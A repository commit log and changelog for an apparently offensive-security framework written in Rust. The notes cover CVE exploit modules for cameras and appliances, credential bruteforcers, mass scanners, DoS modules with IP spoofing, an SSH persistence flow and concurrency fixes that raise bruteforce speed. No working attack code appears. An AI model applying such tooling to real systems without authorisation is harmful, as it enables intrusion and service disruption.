Compare commits

...

293 Commits

Author SHA1 Message Date
S.B f19891e03b Fix version formatting in Cargo.toml 2026-02-13 02:57:21 +02:00
S.B 0d1afe605b Merge pull request #38 from s-b-repo/thekiaboys
Thekiaboys
2026-02-13 02:56:26 +02:00
S.B ab3c86c437 Add files via upload 2026-02-13 02:56:10 +02:00
S.B 7d3f1e8a51 Delete src/modules/creds directory 2026-02-13 02:55:18 +02:00
S.B 00cf535bac Update package version to v0.4.7 2026-02-13 02:38:23 +02:00
S.B 5fff3916e3 Update changelog-latest.md 2026-02-13 02:36:35 +02:00
S.B 7fa215aee0 Update Cargo.toml 2026-02-13 02:34:35 +02:00
S.B 6d69e14982 Update readme.md 2026-02-13 02:33:37 +02:00
S.B 120832102e Update readme with DoS testing enhancements and new exploits
Enhanced DoS testing features and added new exploit modules. Updated documentation for clarity on optimizations and exclusions.
2026-02-13 02:32:40 +02:00
S.B 7ce7f582ce Update README.md 2026-02-13 02:30:26 +02:00
S.B 99ce6d9e7f Add files via upload 2026-02-13 02:29:15 +02:00
S.B dc9f028495 Delete src/modules/scanners directory 2026-02-13 02:28:32 +02:00
S.B 699de58d4f Add files via upload 2026-02-13 02:27:25 +02:00
S.B 655542e36f Delete src/modules/exploits/empty.txt 2026-02-13 02:26:20 +02:00
S.B 4175c164b0 Delete src/modules/creds directory 2026-02-13 02:23:00 +02:00
S.B 1e657765bf Add files via upload 2026-02-13 02:20:46 +02:00
S.B 3cd9840314 Add files via upload 2026-02-13 02:18:38 +02:00
S.B c8d2d254a0 Add files via upload 2026-02-13 02:17:21 +02:00
S.B f7793bc6ed Create empty.txt 2026-02-13 02:16:31 +02:00
S.B c33650e604 Delete src/modules/exploits directory 2026-02-13 02:14:53 +02:00
S.B 4049849a53 Implement prompt_int function for integer input
Add a function to prompt for an integer input with validation.
2026-02-13 00:48:03 +02:00
S.B a1ca9c3e43 Remove is_configured method from totp_config
Removed the is_configured method from TOTP configuration.
2026-02-13 00:47:35 +02:00
S.B 4bdae0b07f Add placeholder for trusted_proxies in main.rs 2026-02-13 00:45:41 +02:00
S.B 4389cf9015 Update job_archive.rs 2026-02-13 00:44:11 +02:00
S.B f292e8c697 Implement ModuleConfig for API module configuration
Added ModuleConfig struct for API-driven execution with methods to manage configuration settings.
2026-02-13 00:43:39 +02:00
S.B 9616e3fea4 Add files via upload 2026-02-13 00:42:44 +02:00
S.B 30072e4ccb Delete src/modules/creds directory 2026-02-13 00:41:48 +02:00
S.B e45c346376 Enhance API with rate limiting and job management
Added new constants for job ID length, TOTP cleanup interval, API key rate limit, and rate limit window. Enhanced IP tracking and rate limiting features, including cleanup tasks and job management improvements.
2026-02-13 00:41:25 +02:00
S.B d139d64bda Refactor and optimize multiple modules for performance
Optimized null_syn_exhaustion and RTSP Bruteforce modules for performance and memory usage. Implemented new IPMI enumeration module with mass scan capabilities and fixed critical bugs in various modules.
2026-02-06 17:02:20 +02:00
S.B 849a724f0c Refactor interactive shell command input handling 2026-02-06 17:00:50 +02:00
S.B 3db864668c Scope RNG usage for probe ID and jitter duration 2026-02-06 16:59:03 +02:00
S.B e04c08e8d5 Refactor stdin reading for command input 2026-02-06 16:58:22 +02:00
S.B 8a035a2f5b Enhance RDP error handling and password processing
Refactor RDP error classification and improve password processing logic for better performance and memory management.
2026-02-06 15:31:34 +02:00
S.B 1afe9f5184 Refactor RTSP bruteforce logic and improve error handling
Refactor RTSP bruteforce logic for better clarity and error handling. Improve concurrency control and normalize target extraction.
2026-02-06 15:03:39 +02:00
S.B 4c954a7f9f Add files via upload 2026-02-06 14:57:29 +02:00
S.B 6a15adb0d2 Refactor packet building and improve IP spoofing
Refactor packet building to ensure random source IP is used for each packet. Update comments and improve socket creation for IP spoofing.
2026-02-06 14:55:46 +02:00
S.B 956e2d23a2 Update mod.rs 2026-02-06 14:55:08 +02:00
S.B c774a4358a Add files via upload 2026-02-06 14:51:32 +02:00
S.B a120f536b6 Update mod.rs 2026-02-06 14:51:00 +02:00
S.B 018f6234bb Enhance API scanner with timeout and error handling
Added configurable timeout for HTTP requests and improved error handling for stdout flushing and file operations. Enhanced endpoint sorting and deduplication logic.
2026-02-06 12:32:12 +02:00
S.B 22f4bcf2eb Add random color display for module listing
Added a helper function to get a random color for module display and updated the module listing to use this function.
2026-02-06 12:30:47 +02:00
S.B 384b09a6af Add subtle crate for timing attack prevention
Added subtle crate for constant-time comparison.
2026-02-04 14:50:20 +02:00
S.B 1b50556331 Update readme with new features and enhancements 2026-02-04 14:49:54 +02:00
S.B 62dbc9e2ec Update changelog-latest.md 2026-02-04 14:48:50 +02:00
S.B 40180206fa Add files via upload 2026-02-04 14:45:49 +02:00
S.B 9aee2764dd Add files via upload 2026-02-04 14:43:36 +02:00
S.B f21264f99c Add files via upload 2026-02-04 14:41:44 +02:00
S.B 7d875ede8e Create t.txt 2026-02-04 14:40:38 +02:00
S.B c214fc0bfb Delete src/modules/t.txt 2026-02-04 14:39:15 +02:00
S.B a96746297c Add files via upload 2026-02-04 14:38:27 +02:00
S.B 96ac4d9a1a Add files via upload 2026-02-04 14:37:44 +02:00
S.B 1a282ee99b Create t.txt 2026-02-04 14:37:08 +02:00
S.B e7fc49d128 Delete src/t.txt 2026-02-04 14:36:09 +02:00
S.B 4804dcc860 Add files via upload 2026-02-04 14:35:39 +02:00
S.B f1f1cf9855 Add files via upload 2026-02-04 14:32:22 +02:00
S.B d250d23f3c Create t.txt 2026-02-04 14:31:12 +02:00
S.B 2ee136e26d Delete src directory 2026-02-04 14:30:52 +02:00
S.B 6110190d8c Add files via upload 2026-02-03 16:12:32 +02:00
S.B 7fa6643c75 Delete src/mod.rs 2026-02-03 16:12:15 +02:00
S.B 8c9105166f Create mod.rs 2026-02-03 16:04:27 +02:00
S.B 5775fbc016 Update changelog-latest.md 2026-02-03 15:26:12 +02:00
S.B b5e5ac088a Update dependencies in Cargo.toml
Added multipart and form features to reqwest and included new dependencies for TOTP authentication and tar archive format.
2026-02-03 15:25:26 +02:00
S.B 85bc679a5b Delete src/s.txt 2026-02-03 15:20:58 +02:00
S.B 8f83e1013b Delete src/modules/te.txt 2026-02-03 15:20:41 +02:00
S.B 9ef5ec403f Delete src/modules/exploits/t.txt 2026-02-03 15:20:29 +02:00
S.B 324d87b575 Add files via upload 2026-02-03 15:19:41 +02:00
S.B a7a61b59db Add files via upload 2026-02-03 15:17:43 +02:00
S.B 9efdcf274d Create t.txt 2026-02-03 15:15:25 +02:00
S.B 0feab02c60 Add files via upload 2026-02-03 15:14:34 +02:00
S.B 0a892be55a Add files via upload 2026-02-03 15:13:43 +02:00
S.B 73f9c8f9a3 Add files via upload 2026-02-03 15:12:48 +02:00
S.B b8b776f12a Add files via upload 2026-02-03 15:12:28 +02:00
S.B 5d156686c6 Create s.txt 2026-02-03 15:11:15 +02:00
S.B 630f123fe0 Delete src directory 2026-02-03 15:10:43 +02:00
S.B aaa02ee3fe Add files via upload 2026-01-28 09:17:35 +02:00
S.B d746c0fa69 Delete src/modules/creds directory 2026-01-28 09:16:52 +02:00
S.B 1f66601843 Update README.md 2026-01-28 08:49:08 +02:00
S.B 386b19a17f Merge pull request #37 from s-b-repo/thekiaboys
Thekiaboys
2026-01-28 08:36:47 +02:00
S.B 9220bdceb5 Update utils.rs 2026-01-28 08:25:10 +02:00
S.B 9431916b8b Update changelog-latest.md 2026-01-28 07:46:46 +02:00
S.B 5f168a79a3 Add files via upload 2026-01-28 07:46:22 +02:00
S.B 63200f3d5e Add files via upload 2026-01-28 07:45:50 +02:00
S.B 978f27e368 Update mod.rs 2026-01-28 07:44:30 +02:00
S.B 40ea4a3a74 Create mongobleed.rs 2026-01-28 07:44:00 +02:00
S.B 90b83e4c29 Add files via upload 2026-01-28 07:42:49 +02:00
S.B e58535d067 Add files via upload 2026-01-28 07:40:59 +02:00
S.B d3596cf9c1 Add files via upload 2026-01-28 07:40:02 +02:00
S.B c1963bd947 Delete src/modules/exploits directory 2026-01-28 07:39:21 +02:00
S.B 5ca83ef795 Add files via upload 2026-01-28 07:38:24 +02:00
S.B c1202e98e9 Delete src/modules/creds/generic directory 2026-01-28 07:37:29 +02:00
S.B 1957eee693 Update api.rs 2026-01-28 07:36:20 +02:00
S.B dc2763d2c4 Update main.rs 2026-01-28 07:35:50 +02:00
S.B 8f2e4adc2d Update config.rs 2026-01-28 07:35:28 +02:00
S.B 1c934adc33 Update utils.rs 2026-01-28 07:35:09 +02:00
S.B f37f5fa8f5 Update shell.rs 2026-01-28 07:34:47 +02:00
S.B a508bcb7dd Merge pull request #36 from s-b-repo/snowball
Snowball
2026-01-28 07:33:50 +02:00
S.B 260b919fba Update shell.rs 2026-01-26 20:35:54 +02:00
S.B ee3d24f6e8 Update changelog-latest.md 2026-01-26 17:09:26 +02:00
S.B cbe7148938 Update utils.rs 2026-01-26 16:40:36 +02:00
S.B 4ec2631a2c Update ftp_bruteforce.rs 2026-01-26 16:39:28 +02:00
S.B 4d6d127045 Update ftp_anonymous.rs 2026-01-26 16:38:51 +02:00
S.B 7da29ae4fe Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-26 16:37:27 +02:00
S.B edef9da2e5 Merge pull request #34 from s-b-repo/pheonix-arta
Pheonix arta
2026-01-26 11:16:50 +02:00
S.B 0bc088d6e5 Update changelog-latest.md 2026-01-26 11:09:44 +02:00
S.B 723241e50e Update Cargo.toml 2026-01-26 11:08:45 +02:00
S.B 63fb9e2387 Update mqtt_bruteforce.rs 2026-01-26 11:08:06 +02:00
S.B bd40afe476 Add files via upload 2026-01-26 11:07:10 +02:00
S.B 537541be89 Delete src/modules/exploits/ruijie directory 2026-01-26 11:06:42 +02:00
S.B 76a44bc3e7 Add files via upload 2026-01-26 10:22:49 +02:00
S.B 176402c12f Delete src/commands directory 2026-01-26 10:22:26 +02:00
S.B 2c67cfe4ee Add files via upload 2026-01-26 10:21:41 +02:00
S.B a4d94476e4 Delete src/modules/scanners directory 2026-01-26 10:21:13 +02:00
S.B 938b613cc1 Add files via upload 2026-01-26 10:20:47 +02:00
S.B 64a0067a36 Add files via upload 2026-01-26 10:19:46 +02:00
S.B 7feccde0b1 Add files via upload 2026-01-26 10:18:18 +02:00
S.B 84ccbb9ce1 Add files via upload 2026-01-26 10:17:22 +02:00
S.B 60a877ca57 Delete src/modules/exploits directory 2026-01-26 10:16:27 +02:00
S.B 2265480f99 Add files via upload 2026-01-26 10:16:01 +02:00
S.B 6de9934070 Delete src/modules/creds directory 2026-01-26 10:15:00 +02:00
S.B e0e2c4d8a9 Update utils.rs 2026-01-26 10:13:54 +02:00
S.B ba160cade8 Update main.rs 2026-01-26 10:13:28 +02:00
S.B 553180eb16 Update shell.rs 2026-01-26 10:13:09 +02:00
S.B 0b17d39a05 Update config.rs 2026-01-26 10:12:38 +02:00
S.B a348d440f8 Update cli.rs 2026-01-26 10:12:22 +02:00
S.B c60d8a69b3 Update api.rs 2026-01-26 10:12:02 +02:00
S.B cd48200b0e Update changelog-latest.md 2026-01-26 10:11:27 +02:00
S.B 566372adae Update readme.md 2026-01-26 10:09:43 +02:00
S.B 9cb1ec0eb7 Update README.md 2026-01-26 10:09:06 +02:00
S.B 5aa35e8fe4 Update Cargo.toml 2026-01-26 10:08:41 +02:00
S.B 7c17a96ba4 Update readme.md 2026-01-23 14:34:33 +02:00
S.B 4985537680 Update changelog-latest.md 2026-01-23 14:34:03 +02:00
S.B 3514bea13c Update README.md 2026-01-23 14:33:20 +02:00
S.B c69ecb237a Merge pull request #33 from s-b-repo/kindred-spirits
Kindred spirits
2026-01-23 14:22:40 +02:00
S.B d61d0987dc Update telnet_bruteforce.rs 2026-01-23 11:37:07 +02:00
S.B 102d618289 Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-23 11:36:30 +02:00
S.B b5d0ce4c70 Update main.rs 2026-01-23 10:28:53 +02:00
S.B 82ff19dc9d Add files via upload 2026-01-23 10:15:09 +02:00
S.B 8d314e6d78 Update mod.rs 2026-01-23 10:12:33 +02:00
S.B aeaa894336 Update changelog-latest.md 2026-01-23 10:06:00 +02:00
S.B 1b407c349f Update changelog-latest.md 2026-01-23 10:05:04 +02:00
S.B 62cfce1b8d Update README.md 2026-01-22 16:36:07 +02:00
S.B c1f4aca340 Update Cargo.toml 2026-01-22 16:35:21 +02:00
S.B b6208db764 Update changelog-latest.md 2026-01-22 16:33:52 +02:00
S.B 66679ee09d Update utils.rs 2026-01-22 16:31:00 +02:00
S.B 4a4ad714b0 Remove proxy functionality from shell context
Removed proxy-related commands and functionality from the shell context, including loading, enabling, disabling, and testing proxies. Updated target setting commands to include shortcuts.
2026-01-22 16:30:22 +02:00
S.B cf95a3db70 Add core module to main.rs 2026-01-22 16:29:41 +02:00
S.B 5434430ad0 Add files via upload 2026-01-22 16:27:47 +02:00
S.B 6d33f0fdaa Delete src/modules/scanners directory 2026-01-22 16:26:44 +02:00
S.B 77124d25a2 Add files via upload 2026-01-22 16:25:33 +02:00
S.B 7ec5089ea8 Delete src/modules/exploits directory 2026-01-22 16:20:55 +02:00
S.B 587e11267a Add files via upload 2026-01-22 16:19:49 +02:00
S.B 65c6ec75b4 Delete src/modules/creds directory 2026-01-22 16:19:07 +02:00
S.B 6bbb9d3048 Add files via upload 2026-01-22 16:18:38 +02:00
S.B de6b598cd9 Delete src/commands directory 2026-01-22 16:18:10 +02:00
S.B d66f33193f Update ftp_bruteforce.rs 2026-01-18 18:53:33 +02:00
S.B be2237e39b Enhance FTP anonymous login checker with mass scan
Added support for mass scanning and improved IP exclusion handling.
2026-01-18 18:52:14 +02:00
S.B f4935c1f9e Update and rename rtsp_bruteforce_advanced.rs to rtsp_bruteforce.rs 2026-01-18 18:50:51 +02:00
S.B b646039f2e Add files via upload 2026-01-18 18:48:13 +02:00
S.B c6c577ed52 Delete src/modules/exploits/ftp directory 2026-01-18 18:47:22 +02:00
S.B 77639bcf8b Update Cargo.toml 2026-01-18 18:46:04 +02:00
S.B 49ab851ffe Add files via upload 2026-01-18 18:45:05 +02:00
S.B 03779dbe64 Update mod.rs 2026-01-18 18:44:35 +02:00
S.B e01e231579 Merge pull request #32 from s-b-repo/esoteric-markdown
Esoteric markdown
2026-01-17 01:06:24 +02:00
S.B 0b31da3384 Bump version from 0.3.5 to 0.4.3 2026-01-17 00:54:39 +02:00
S.B d8e0210d70 Refactor body creation for POST request 2026-01-17 00:46:12 +02:00
S.B 803c19c2af Update ivanti_epmm_cve_2023_35082.rs 2026-01-17 00:45:13 +02:00
S.B 41fd1ec33b Update Cargo.toml 2026-01-17 00:40:16 +02:00
S.B a6de04092a Add files via upload 2026-01-17 00:33:44 +02:00
S.B f08e88055a Delete src/modules/exploits/tplink directory 2026-01-17 00:33:02 +02:00
S.B 6a0446996e Update changelog-latest.md 2026-01-17 00:32:28 +02:00
S.B 9e9c78b1e5 Add module for CVE-2023-35082 exploit 2026-01-17 00:18:05 +02:00
S.B fea19075ce Add files via upload 2026-01-17 00:17:33 +02:00
S.B 5735f90860 Add files via upload 2026-01-17 00:15:38 +02:00
S.B 7df00dc03b Add files via upload 2026-01-17 00:14:56 +02:00
S.B 8d49f2e5cf Add files via upload 2026-01-17 00:13:49 +02:00
S.B 1d548818e6 Delete src/modules/exploits/fortios directory 2026-01-17 00:12:55 +02:00
S.B f66cf16931 Delete src/modules/exploits/fortiweb directory 2026-01-17 00:12:41 +02:00
S.B 9a9b8304cf Rename fortiweb and fortios modules to fortinet and add exim 2026-01-17 00:12:18 +02:00
S.B 51c0251798 Update changelog-latest.md 2026-01-17 00:11:31 +02:00
S.B 32bed1d2a4 Update changelog-latest.md 2026-01-16 23:24:01 +02:00
S.B 9f6d6361eb Add files via upload 2026-01-16 23:22:40 +02:00
S.B d56ad77d1e Delete src/commands directory 2026-01-16 23:22:03 +02:00
S.B 8a493954b6 Refactor build.rs for better module handling
Refactor build script to improve module discovery and dispatch generation.
2026-01-16 23:21:46 +02:00
S.B c247b3b5ab Update Cargo.toml 2026-01-16 23:20:22 +02:00
S.B 6aadd98518 Add files via upload 2026-01-16 23:04:38 +02:00
S.B b1759d0f86 Delete src/modules/exploits/tplink directory 2026-01-16 23:04:13 +02:00
S.B fe15591faa Update changelog-latest.md 2026-01-16 23:03:42 +02:00
S.B 3b4accba35 Update changelog-latest.md 2026-01-16 22:38:10 +02:00
S.B 1534b9aa95 Add command chaining instructions to README
Added command chaining section to README with examples.
2026-01-16 22:36:26 +02:00
S.B a014f9e485 Document command chaining feature
Add section on command chaining in the shell.
2026-01-16 22:35:40 +02:00
S.B 34cb58ee01 Update main.rs 2026-01-16 22:34:12 +02:00
S.B ac8c0e18df Update utils.rs 2026-01-16 22:33:17 +02:00
S.B cb1ff2b4e0 Add files via upload 2026-01-16 22:29:49 +02:00
S.B 7a2af6fdf1 Delete src/modules/scanners directory 2026-01-16 22:28:59 +02:00
S.B 290f859058 Add files via upload 2026-01-16 22:20:41 +02:00
S.B a3bd842971 Delete src/modules/exploits directory 2026-01-16 22:14:54 +02:00
S.B f38aea01c2 Add files via upload 2026-01-16 22:14:19 +02:00
S.B 7b0a246ccc Delete src/modules/creds directory 2026-01-16 22:05:40 +02:00
S.B 718719b7d1 Delete src/test 2026-01-13 16:51:52 +02:00
S.B 2876abdbb1 Update Cargo.toml 2026-01-13 16:51:30 +02:00
S.B 6f98db53a5 Add new exploit modules and upgrade dependencies
Implemented new exploit modules for MongoBleed, NginxPwner, Hikvision, n8n, and FortiWeb, along with various updates and fixes to existing modules. Upgraded dependencies and resolved compilation errors across the project.
2026-01-13 16:50:45 +02:00
S.B c1bce55552 Create LICENSE 2026-01-12 07:17:21 +02:00
S.B c0aec6ed64 Delete LICENSE 2026-01-12 07:16:33 +02:00
S.B dbd2b50ef2 Delete .github/workflows directory 2026-01-05 07:57:41 +02:00
S.B eb2e8542a9 Add pnet dependency and update home for 2024 2026-01-05 07:56:21 +02:00
S.B f02c6a2274 Create changelog-latest.md 2026-01-05 07:55:33 +02:00
S.B 5650be5720 Create changelog.md 2026-01-05 07:55:04 +02:00
S.B 4ee5eeab42 Add files via upload 2026-01-05 00:51:03 -05:00
S.B 818a82982f Add files via upload 2026-01-05 00:47:55 -05:00
S.B f4d7c45f1d Create test 2026-01-05 07:47:04 +02:00
S.B 421b2508a0 Delete src directory 2026-01-05 07:34:14 +02:00
S.B e4066ceea6 Delete changelog directory 2026-01-05 07:30:21 +02:00
S.B 0f2d4cad8a Update README.md 2026-01-05 07:27:56 +02:00
S.B 1a53215512 Update readme.md 2026-01-05 07:26:59 +02:00
S.B 34aa655e36 Create Latest-changelog.md 2026-01-05 07:16:09 +02:00
S.B 1741c043f9 Delete changelog/archive/changelog-2026.md 2026-01-05 07:15:46 +02:00
S.B b1ac4e0190 Create changelog-2026.md 2026-01-05 07:15:28 +02:00
S.B 1b4dfca8e2 Delete changelog/test 2026-01-05 07:14:05 +02:00
S.B a78073381b Delete changelog/archive/test 2026-01-05 07:13:55 +02:00
S.B 17e081eb16 Create changelog.md 2026-01-05 07:13:43 +02:00
S.B 5299059ca8 Create test 2026-01-05 07:12:59 +02:00
S.B d489e5d2e3 Create test 2026-01-05 07:12:43 +02:00
S.B 337d7d5249 Delete changelog/archive/2025 directory 2026-01-05 07:11:31 +02:00
S.B ef5457d00a Add files via upload 2026-01-05 00:11:17 -05:00
S.B 0164912f52 Delete changlog/archived/2025 directory 2026-01-05 07:10:05 +02:00
S.B d62c65e8fb Create changelog.md 2026-01-05 07:09:46 +02:00
S.B cdeed7c799 Delete changelog.md 2026-01-05 07:08:57 +02:00
S.B da075a08ce Merge pull request #30 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-09 23:49:43 +02:00
S.B d91e1d2a25 Update changelog.md 2025-12-09 23:40:56 +02:00
S.B 5d0634670b Add files via upload 2025-12-09 23:40:11 +02:00
S.B d6d9e5e836 Delete src directory 2025-12-09 23:37:51 +02:00
S.B 30396b2414 Merge pull request #29 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-07 20:21:36 +02:00
S.B a24d9c79de Update print statement from 'Hello' to 'Goodbye' 2025-12-07 20:18:51 +02:00
S.B aed7b0b93e Add files via upload 2025-12-07 20:17:33 +02:00
S.B c26a0f116c Update readme.md 2025-12-07 20:16:08 +02:00
S.B 7a781ae2fa Update README with highlights and examples 2025-12-07 20:12:30 +02:00
S.B ba3a6480d2 Update README.md 2025-12-07 20:10:35 +02:00
S.B ae435a2143 Add files via upload 2025-12-07 20:09:41 +02:00
S.B 20b610a1d5 Delete src directory 2025-12-07 20:07:55 +02:00
S.B 9de9f0a8c9 Merge pull request #28 from s-b-repo/more-brute-forcing
More brute forcing


###  arc 2 nimla patching



Analyze and fix ABUS variant1 module - add colored output, standardize features
Analyze and fix ABUS variant2 module - add colored output, standardize features
Review and standardize other exploit modules for consistency
Verify all modules compile and logic is correct
Based on my analysis, here are the key features that should be standardized across exploit modules where compatible:
Colored output using the colored crate for better UX
Timeout configuration for HTTP clients
IPv6 normalization
SSL certificate skip for testing targets with self-signed certs
Informative banners/output with status indicators
Let me update the ABUS variant1 module to have these standardized features:


ABUS Security Camera CVE-2023-26609 Modules
Variant 1 (abussecurity_camera_cve202326609variant1.rs)

Features added:

Colored output using the colored crate for better UX
Display banner with module information
Timeout configuration (10 second default)
Improved prompts with colored formatting
Stage indicators (Stage 1/2/3) for the SSH persistence flow
Better error messages with red coloring for failures
Status-based output - green for success, red for failure
Variant 2 (abussecurity_camera_cve202326609variant2.rs)

Features added:

Colored output using the colored crate
Display banner with module information
Timeout configuration (10 second default)
Input validation - checks for empty username/password
Stage indicators for the SSH persistence flow
Improved user feedback with colored status messages
Other Modules Updated
I also standardized these modules with colored output, banners, timeouts, and improved UX:
ACTi ACM-5611 RCE - Added banner, colored output, port prompts, vulnerability check feedback
AVTech Camera CVE-2024-7029 - Added banner, colored output, improved shell interface
TP-Link WR740N DoS - Added banner, colored output, improved prompts
Zabbix SQL Injection - Added banner, colored output, timing-based detection improvement
Uniview NVR Password Disclosure - Added banner, colored output, improved feedback
Sample Exploit - Added banner, colored output for demonstration
Standardized Features Across All Modules

The following features are now consistently available where compatible:

Feature	Description
Colored Output	Using colored crate for cyan info, yellow warnings, green success, red errors
Display Banners	ASCII art banners showing module name, CVE, and description
Timeout Configuration	Configurable HTTP timeouts (default 10 seconds)
SSL Certificate Skip	danger_accept_invalid_certs(true) for testing self-signed certs
IPv6 Normalization	Proper handling of IPv6 addresses with bracket normalization
Input Validation	Checking for empty required fields
Stage Indicators	Yellow stage markers for multi-step exploits
All modules compile successfully with no warnings from cargo clippy. The code logic remains intact and all original functionality is preserved.


Credential Modules Standardized
Camera Modules
acti_camera_default.rs - Added colored output, display banner, timeout constant, and colored status messages for FTP/SSH/Telnet/HTTP checks
Generic Modules
Module	Changes
ftp_anonymous.rs	Added display_banner(), colored output, timeout constant
ftp_bruteforce.rs	Added display_banner(), updated header styling
sample_cred_check.rs	Added display_banner(), colored output, timeout with danger_accept_invalid_certs
ssh_bruteforce.rs	Already had banner and statistics - unchanged
telnet_bruteforce.rs	Already had comprehensive banner and statistics - unchanged
rdp_bruteforce.rs	Added display_banner(), updated header styling
smtp_bruteforce.rs	Added display_banner(), improved colored output for success/failure
pop3_bruteforce.rs	Already had banner and statistics - unchanged
snmp_bruteforce.rs	Added display_banner(), updated header styling
rtsp_bruteforce_advanced.rs	Added display_banner(), updated header styling
l2tp_bruteforce.rs	Added display_banner(), updated header styling
fortinet_bruteforce.rs	Added display_banner(), updated header styling
enablebruteforce.rs	Added display_banner(), full colored output
Standard Features Added

All modules now have:

 Cyan-bordered ASCII banner with module title
 Colored target information ([*] in cyan)
 Green success messages ([+])
 Yellow warning/failure messages ([-])
 Red error messages ([!])
 Consistent use of colored crate
 IPv6 address handling where applicable
 Timeout constants where applicable
The project compiles cleanly with cargo build and passes cargo clippy with no warnings.

Critical Issues Found:
SSH Bruteforce - Semaphore acquired BEFORE spawning task (blocks task creation)
FTP/RDP/SNMP Bruteforce - Missing progress statistics
Several modules - Missing retry logic and connection rate limit handling
Let me fix these:


Critical Fixes:

1. SSH Bruteforce - Fixed concurrency bug

The semaphore was being acquired BEFORE spawning the task, which serialized task creation. Now acquires permit INSIDE the spawned task for true concurrent execution.

2. Enable Bruteforce (ulimit) - Fixed non-functional code

Running ulimit -n 65535 in a subprocess does NOT affect the parent process. Rewrote to use setrlimit() syscall directly, which actually raises the file descriptor limit in the current process.
Standardized Features Added

Added Statistics tracking and real-time progress reporting to:
Module	Concurrency Model	Progress Reporting Added
FTP Bruteforce	tokio async + Semaphore	
RDP Bruteforce	tokio async + Semaphore	
SNMP Bruteforce	tokio async + spawn_blocking	
RTSP Bruteforce	tokio async + Semaphore	
L2TP Bruteforce	tokio async + Semaphore	
Fortinet Bruteforce	tokio async + Semaphore	
SMTP Bruteforce	ThreadPool + crossbeam	
Already Correctly Implemented

Module	Notes:

Telnet Bruteforce	Uses tokio async TcpStream (correctly async), already has statistics
POP3 Bruteforce	Uses ThreadPool + crossbeam (correct for blocking I/O), already has statistics
Concurrency Models Verified
Async modules (FTP, RDP, SSH, RTSP, L2TP, Fortinet, Telnet): Use tokio::net::TcpStream or spawn_blocking for blocking libraries - 

this is correct

Blocking modules (POP3, SMTP): Use ThreadPool with crossbeam_channel - this is correct for blocking socket I/O

All modules now have consistent:

Real-time progress reporting (attempts/s rate)
Statistics summary at completion
Colored output for success/failure/errors



All fixed. The warnings are resolved:

enablebruteforce.rs - Removed unused std::process::Command import (no longer needed since we now use the libc syscalls directly)
ftp_bruteforce.rs - Removed unused log function (replaced with inline colored output)
fortinet_bruteforce.rs - Removed unused log function (replaced with inline colored output)


Standardized Features Added:

Scanner	Banner	Colored Output	Statistics	Progress	Save Results
sample_scanner.rs	 Added	 Added	 Added		 Added
http_title_scanner.rs	 Enhanced	 Enhanced	 Added	 Added	 Already had
http_method_scanner.rs	 Enhanced	 Enhanced	 Added	N/A	 Already had
dns_recursion.rs	 Added	 Enhanced	 Added	N/A	N/A (targets output)
ssdp_msearch.rs	 Added	 Already had	 Added	N/A	 Added
port_scanner.rs	 Already had	 Already had	 Already had	 Already had	 Already had
ping_sweep.rs	 Already had	 Already had	 Already had	 Already had	 Already had

Key Improvements:

Consistent Banners - All scanners now display a cyan-colored ASCII banner with module description
Colored Output - Success (green), warnings (yellow), errors (red), info (cyan)
Statistics - All scanners report:
Total items scanned
Successful/Failed counts
Duration
Rate (where applicable)
Save Results - Option to save scan results to file
Progress Reporting - Real-time progress for longer scans
All modules compile cleanly with no warnings.


Security Enhancements Summary

main.rs

Added validate_bind_address() - validates bind address format using SocketAddr::parse(), checks length limits, control characters
Added validate_api_key() - validates API key length (max 256 chars), ensures only printable ASCII
Added validate_ip_limit() - validates IP limit range (1-10,000)
All CLI inputs are now validated before use

shell.rs

Added new constants: MAX_URL_LENGTH, MAX_PATH_LENGTH, MAX_PROMPT_INPUT_LENGTH

Enhanced prompt_for_path():

Length validation
Control character rejection
Path traversal prevention (.. blocked)

Enhanced prompt_string_default():

Length validation
Control character rejection
URL format validation (if input looks like URL)

Enhanced prompt_yes_no():

Max attempt limiting (10 attempts)
Length validation
Enhanced prompt_u64() and prompt_usize():
Max attempt limiting
Length validation
Strict digit-only validation
Overflow protection with saturating_add()

config.rs

Added MAX_TARGET_LENGTH and MAX_HOSTNAME_LENGTH constants

Enhanced set_target():

Length validation
Control character rejection
Path traversal prevention

Added validate_hostname_or_ip():

Hostname length validation (DNS max 253)
Valid character regex check
Format validation (no leading/trailing special chars)
Consecutive dot detection

api.rs

Added RequestBodyLimitLayer (1MB max) to prevent DoS via large payloads
Added MAX_TRACKED_IPS (100,000) and MAX_AUTH_FAILURE_ENTRIES (100,000) limits

Enhanced track_ip():

IP string length validation
Automatic cleanup when tracker exceeds limits
saturating_add() for overflow protection

Enhanced record_auth_failure():

IP string length validation
Automatic cleanup of expired/old entries
saturating_add() for overflow protection
utils.rs (already well-secured)
Already had comprehensive validation:
MAX_TARGET_LENGTH, MAX_MODULE_PATH_LENGTH, MAX_FILE_SIZE
Path traversal checks
File size limits
Proxy URL validation


---

## v0.4.0 - Comprehensive Security Hardening (November 2025)

###  Input Validation & Security (All Core Files)

#### main.rs

- **NEW:** `validate_bind_address()` - Validates bind address format using `SocketAddr::parse()`:
  - Length limits (max 128 characters)
  - Control character rejection
  - Socket address format validation
- **NEW:** `validate_api_key()` - Validates API key:
  - Length limits (max 256 characters)
  - Only printable ASCII characters allowed
  - Empty/whitespace rejection
- **NEW:** `validate_ip_limit()` - Validates hardening IP limit:
  - Range validation (1-10,000)
  - Prevents resource exhaustion

#### shell.rs

- **NEW Constants:**
  - `MAX_URL_LENGTH` (2048) - URL input length limit
  - `MAX_PATH_LENGTH` (4096) - File path length limit
  - `MAX_PROMPT_INPUT_LENGTH` (1024) - General prompt input limit

- **Enhanced `prompt_for_path()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..` blocked)

- **Enhanced `prompt_string_default()`:**
  - Length validation
  - Control character rejection
  - Automatic URL format validation when input looks like URL

- **Enhanced `prompt_yes_no()`:**
  - Max attempt limiting (10 attempts before default)
  - Length validation (max 10 chars)
  - Prevents infinite loops on bad input

- **Enhanced `prompt_u64()` and `prompt_usize()`:**
  - Max attempt limiting (10 attempts)
  - Length validation (max 20 chars)
  - Strict digit-only validation
  - Overflow protection
  - Better error messages

#### config.rs

- **NEW Constants:**
  - `MAX_TARGET_LENGTH` (2048) - Target string limit
  - `MAX_HOSTNAME_LENGTH` (253) - DNS hostname limit

- **Enhanced `set_target()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..`, `//` blocked)
  - Hostname/IP format validation

